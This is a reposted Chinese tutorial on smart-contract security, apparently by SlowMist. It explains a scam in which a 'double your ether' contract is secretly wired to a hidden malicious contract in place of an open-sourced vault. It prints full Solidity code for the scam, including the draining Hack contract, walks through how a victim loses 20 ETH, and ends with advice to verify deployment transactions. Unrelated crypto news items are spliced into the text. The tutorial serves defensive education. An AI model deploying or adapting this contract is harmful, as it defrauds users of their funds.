智能合约安全审计入门篇 —— 移花接木_MAKE:maker币圈

概述

上期我们了解了利用 tx.origin 进行钓鱼的攻击手法,本期我们来带大家了解一下如何识别在合约中隐藏的恶意代码。

前置知识

大家还记得之前几期部署攻击合约时我们会传入目标合约的地址,在攻击合约中就可以调用目标合约中的函数吗,有些攻击者会利用这一点受害者。比如部署一个 A 合约并告诉受害者我们会在部署 A 合约的构造函数中传入 B 合约的地址并将 B 合约开源,其实我们会在部署 A 合约时传入 C 合约的地址,如果受害者完全信任我们没有检查部署 A 合约的那笔交易,我们就完美的将恶意代码隐藏在了 C 合约中。我们可以从下图来理解这个逻辑:

用户以为的调用路径:

部署合约 A 传入合约 B 地址,这样调用路径为正常路径。

实际的调用路径:

部署合约 A 传入合约 C 地址,这样调用路径为非正常路径。

下面我们使用一个简单的例子来分析这个局:

恶意代码

// SPDX-License-Identifier: MITpragma solidity ^0.8.13;contract MoneyMaker {    Vault vault;    constructor(address _vault) {        vault = Vault(payable(_vault));    }    function makeMoney(address recipient) public payable {        require(msg.value >= 1, "You are so poor!");        uint256 amount = msg.value * 2;        (bool success, ) = address(vault).call{value: msg.value, gas: 2300}("");        require(success, "Send failed");        vault.transfer(recipient, amount);    }}contract Vault {    address private maker;    address private owner;    uint256 transferGasLimit;    constructor() payable {        owner = msg.sender;        transferGasLimit = 2300;    }    modifier OnlyMaker() {        require(msg.sender == maker, "Not MoneyMaker contract!");        _;    }    modifier OnlyOwner() {        require(msg.sender == owner, "Not owner!");        _;    }    function setMacker(address _maker) public OnlyOwner {        maker = _maker;    }    function transfer(address recipient, uint256 amount) external OnlyMaker {        require(amount <= address(this).balance, "Game Over~");        (bool success, ) = recipient.call{value: amount, gas: transferGasLimit}(            ""        );        require(success, "Send failed");    }    function withrow() public OnlyOwner {        (bool success, ) = owner.call{            value: address(this).balance,            gas: transferGasLimit        }("");        require(success, "Send failed");    }    receive() external payable {}    fallback() external payable {}}// This code is hidden in a separate filecontract Hack {    event taunt(string message);    address private evil;    constructor(address _evil) {        evil = _evil;    }    modifier OnlyEvil() {        require(msg.sender == evil, "What are you doing?");        _;    }    function transfer() public payable {        emit taunt("Haha, your ether is mine!");    }    function withrow() public OnlyEvil {        (bool success, ) = evil.call{value: address(this).balance, gas: 2300}(            ""        );        require(success, "Send failed");    }    receive() external payable {}    fallback() external payable {}}局分析

Messari:Safe智能合约账户中存储着超过500亿美元的资产:金色财经报道,据区块链分析公司Messari官方发布数据显示,资产管理平台Safe(以前称为Gnosis Safe)智能合约账户中存储着超过500亿美元的资产。[2023/8/24 18:19:38]

可以看到,上述代码中存在三个合约,我们先结合前置知识中的 A, B, C 三个角色来区分三个合约分别代表什么角色:

MoneyMaker 合约代表 A 合约;

Vault 合约代表 B 合约;

Hack 合约代表 C 合约。

所以用户以为的调用路径为:

MoneyMaker -> Vault。

而实际的调用路径为:

MoneyMaker -> Hack。

下面我们来看看攻击者如何完成局的:

1. Evil 部署 Vault(B) 合约并在合约中留存 100 ETH 资金,在链上将 Vault(B) 合约开源;

2. Evil 部署 Hack(C) 恶意合约;

3. Evil 放出消息说他将会部署一个开源的赚钱 MoneyMaker(A) 合约,部署时会将 Vault(B) 合约地址传入且会调用 Vault.setMacker() 将 maker 角色设置为 MoneyMaker 合约地址,任何人调用 MoneyMaker.makeMoney() 向合约中打入不少于一个以太都会得到双倍以太的回报;

首个利用RGB智能合约的比特币NFT市场DIBA在主网启动:金色财经报道,首个利用RGB智能合约的比特币NFT市场 DIBA(Digital Bitcoin Art and Assets)在主网启动,此次发布还包括比特币钱包 BitMask,这是一种“仅限比特币”的加密钱包,可以持有音乐和艺术数字资产。

据报道,DIBA的支持者包括 Draper Associates 创始人 Tim Draper、ACTAI Unicorn Fund 联合创始人 Bill Tai、NIMA Capital 投资人 Yasmeen Drummond 和 Martial Eagle Fund CEO及联合创始人 Erez Kalir 。[2023/5/19 15:13:00]

4. Bob 收到消息,了解到 MoneyMaker 合约的存在,他看了 MoneyMaker(A) 和 Vault(B) 合约的代码并检查了 Vault(B) 合约中的余额发现逻辑确实如 Evil 说的那样,他在没有检查 MoneyMaker(A) 部署交易的情况下就相信了 Evil;

5. Bob 调用 MoneyMaker.makeMoney() 向合约中打入自己全部身家 20 ETH,在他满怀期待等着收到 Vault(B) 打来的 40 ETH 时等来的却是一句 "Haha, your ether is mine!"。

咋回事呢?其实这个局非常简单但是很常见。Evil 在部署 MoneyMaker 合约时传入的并不是 Vault 合约的地址,而是传入了 Hack 合约的地址。所以当 Bob 调用 MoneyMaker.makeMoney() 时并不会像他想像中的那样 MoneyMaker.makeMoney() 去调用 Vault.transfer() 回打给他双倍的以太,而是调用了 Hack.transfer() 抛出了一个事件:"Haha, your ether is mine!"。最后 Evil 调用 Vault.withrow() 将 Vault 合约中的 100 ETH 转出,并通过 Hack.withrow() 将 Bob 转入的 20 ETH 转出。

欧盟官员:欧盟议会的智能合约计划限制了统一标准制定:3月15日消息,欧盟内部市场专员Thierry Breton周二告诉记者,欧盟有争议的规定要求对某些智能合约设置“终止开关”,这可能会限制为该行业设定标准的关键能力。

他的言论暗示,议员们当天早些时候投票通过的条款不再符合2022年委员会法律提案“数据法案”(Data Act)中设定的目标。

Breton称:“我们需要协调这些智能合约的基本要求,以确保互操作性、法律确定性和大规模部署,当提出这个提案时,我们打算要求相关组织制定这些标准。”

“我注意到议会提议修改这些基本要求,”他说,“值得注意的是,这些变化可能会限制制定智能合约统一标准的可能性。”(CoinDesk)[2023/3/15 13:05:25]

预防建议

以太坊黑暗森林中你能相信的只有自己,不要相信任何人精彩的话术,交易记录不会造假,只有自己验证了对应的那笔交易后才能相信对方说的话是对的。

慢雾科技

个人专栏

阅读更多

金色荐读

金色财经 善欧巴

迪新财讯

Chainlink预言机

区块律动BlockBeats

白话区块链

金色早8点

Odaily星球日报

MarsBit

Arcane Labs

智能合约平台Fantom启动Uniswap克隆版fUNI.Uniswap:基于DAG的智能合约平台Fantom宣布启动fUNI.Uniswap,fUNI是部署在Fantom上的Uniswap克隆项目,目前已发布应用版和钱包集成版。公告称,在Fantom上启动Uniswap将拥有较低的费用和更快速的交易:费用低于一美分,确认交易的速度在2秒内。Uniswap的所有其他特征保持不变。用户可在fUNI上交易fUSD和wFTM,开发人员可以像在以太坊上一样部署代币。[2020/10/16]

动态 | ONT将与新加坡科技公司合作开发私密智能合约:Ontology已宣布将与分散式计算平台TEEX合作,以增强“链上数据隐私”和安全性。TEEX与Ontology开发人员之间的合作将涉及创建“安全客户端私钥解决方案。”这将通过使用可信执行环境(TEE)实现,TEE是类似“黑匣子”的计算机芯片,用于从外部软件程序中分离(和隔离)代码及其相关数据。[2019/1/5]

郑重声明: 本文版权归原作者所有, 转载文章仅为传播更多信息之目的, 如作者信息标记有误, 请第一时间联系我们修改或删除, 多谢。

金智博客

[0:31ms0-6:369ms